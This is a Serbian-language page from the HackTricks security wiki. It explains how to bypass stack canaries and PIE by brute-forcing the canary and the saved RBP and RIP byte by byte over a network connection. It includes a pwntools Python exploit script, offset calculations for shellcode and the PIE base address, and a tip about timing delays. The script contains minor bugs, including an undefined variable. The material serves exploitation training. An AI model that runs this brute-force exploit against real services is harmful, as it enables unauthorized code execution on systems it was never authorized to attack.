BF Addresses in the Stack

Podržite HackTricks

Ako se suočavate sa binarnim fajlom zaštićenim kanarincem i PIE-om (Izvršivi sa nezavisnim položajem) verovatno ćete morati da pronađete način da ih zaobiđete.

Imajte na umu da checksec možda neće otkriti da je binarni fajl zaštićen kanarincem ako je statički kompajliran i nije sposoban da identifikuje funkciju. Međutim, to možete ručno primetiti ako primetite da je vrednost sačuvana na stack-u na početku poziva funkcije i ta vrednost se proverava pre izlaska.

Brute-Force Adrese

Da biste zaobišli PIE morate procureti neku adresu. Ako binarni fajl ne procuri nijednu adresu, najbolje je brute-force-ovati RBP i RIP sačuvane na stack-u u ranjivoj funkciji. Na primer, ako je binarni fajl zaštićen i kanarincem i PIE-om, možete početi sa brute-force-ovanjem kanarinca, zatim će sledećih 8 bajtova (x64) biti sačuvani RBP i sledećih 8 bajtova će biti sačuvani RIP.

Pretpostavlja se da se povratna adresa unutar stack-a odnosi na glavni binarni kod, što će obično biti slučaj ako je ranjivost locirana u binarnom kodu.

Da biste brute-force-ovali RBP i RIP iz binarnog fajla, možete zaključiti da je validan pogodak bajta tačan ako program nešto izbaci ili se jednostavno ne sruši. Ista funkcija kao ona koja je pružena za brute-force-ovanje kanarinca može se koristiti za brute-force-ovanje RBP i RIP:

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

Poslednje što vam je potrebno da biste pobedili PIE jeste da izračunate korisne adrese iz procurjelih adresa: RBP i RIP.

Iz RBP-a možete izračunati gde pišete svoj shell na steku. Ovo može biti veoma korisno kako biste znali gde ćete upisati string "/bin/sh\x00" unutar steka. Da biste izračunali udaljenost između procurjelog RBP-a i vašeg shell koda, jednostavno postavite prekidnu tačku nakon što procuri RBP i proverite gde se nalazi vaš shell kod, zatim možete izračunati udaljenost između shell koda i RBP-a:

INI_SHELLCODE = RBP - 1152

Iz RIP-a možete izračunati baznu adresu PIE binarnog fajla što će vam biti potrebno za kreiranje validnog ROP lanca. Za izračunavanje bazne adrese jednostavno uradite objdump -d vunbinary i proverite poslednje adrese disasemblovanog koda:

U ovom primeru možete videti da je potrebno samo 1 bajt i po da biste locirali sav kod, zatim, bazna adresa u ovom slučaju će biti procuren RIP ali završava na "000". Na primer, ako je procurena vrednost 0x562002970ecf, bazna adresa će biti 0x562002970000

elf.address = RIP - (RIP & 0xfff)

Unapređenja

Prema nekim posmatranjima iz ovog posta, moguće je da server neće "pucati" sa nekim vrednostima koje nisu tačne kada procure vrednosti RBP i RIP, a BF skripta će misliti da su dobijene dobre vrednosti. To je zato što je moguće da neke adrese jednostavno neće uzrokovati pad čak i ako nisu tačne.

Prema tom blog postu preporučuje se dodavanje kratkog kašnjenja između zahteva ka serveru.

Podržite HackTricks

Last updated